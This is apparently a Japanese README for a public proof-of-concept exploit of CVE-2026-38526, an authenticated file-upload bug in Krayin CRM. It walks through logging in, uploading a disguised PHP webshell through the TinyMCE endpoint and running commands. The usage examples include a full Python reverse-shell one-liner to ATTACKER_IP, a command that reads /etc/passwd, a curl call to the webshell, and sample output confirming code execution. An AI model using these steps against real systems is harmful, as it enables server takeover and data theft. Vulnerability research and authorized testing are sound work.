CVE-2026-38526 - Krayin CRM PHPアップロードRCE

Krayin CRM ≤ 2.2.x 向けの自動エクスプロイトです。このスクリプトは、TinyMCEエンドポイント（/admin/tinymce/upload）における無制限ファイルアップロードの脆弱性を悪用し、image/jpeg を偽装してMIMEタイプ検証をバイパスし、PHPウェブシェルをアップロードして、ウェブサーバー権限で任意のコマンドを実行します。

脆弱性の詳細

プロパティ	値
CVE ID	CVE-2026-38526
影響を受けるソフトウェア	Krayin CRM ≤ 2.2.x
脆弱性の種類	無制限ファイルアップロード → リモートコード実行
認証	必須（有効な管理者アカウント）
エンドポイント	`POST /admin/tinymce/upload`

前提条件

Python 3.7以上
対象のKrayin CRMインスタンスの有効な管理者資格情報
対象アプリケーションへのネットワークアクセス
requests ライブラリ

インストール

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

使用方法

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

引数

使用例

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

エクスプロイトの流れ

認証: ログインページからCSRFトークンを抽出し、提供された資格情報で認証します
セッション検証: 認証済みダッシュボードから新しいCSRFトークンを抽出します
ウェブシェルのアップロード: 偽装したMIMEタイプでPHPペイロードを /admin/tinymce/upload にアップロードします
コマンド実行: ウェブシェルのGETパラメータを介して任意のコマンドを実行します

出力例

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

既知の問題

認証に失敗する: 資格情報が正しいこと、および対象システムにアカウントが存在することを確認してください。

CSRFトークンの抽出に失敗する: 対象が脆弱性のあるKrayin CRMを実行していること、およびログインエンドポイントにアクセスできることを確認してください。

リバースシェルが接続しない: リスナー（nc -lvnp <PORT>）が実行されていること、ファイアウォールが発信接続を許可していること、ペイロード内のIP/ポートが正しいことを確認してください。

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のためだけに提供されています。コンピュータシステムへの不正アクセスは違法です。対象システムをテストする前に適切な許可を得ていることを確認する責任は、すべて利用者にあります。作者は、このツールの誤用またはそれによって生じた損害について一切の責任を負いません。

参考情報

作者

b0nyo - PoC実装

GitHub

TREXNEGRO - 脆弱性の発見

セキュリティアドバイザリ

`-i`	対象URL（`http://` の有無は問いません）	`http://target.com` または `target.com`
`-u`	管理者のメールアドレス/ユーザー名	`[email protected]`
`-p`	管理者のパスワード	`AdminPassword123!`
`-c`	実行するコマンド（デフォルト: `id`）	`whoami`

PoC-CVE-2026-38526

人気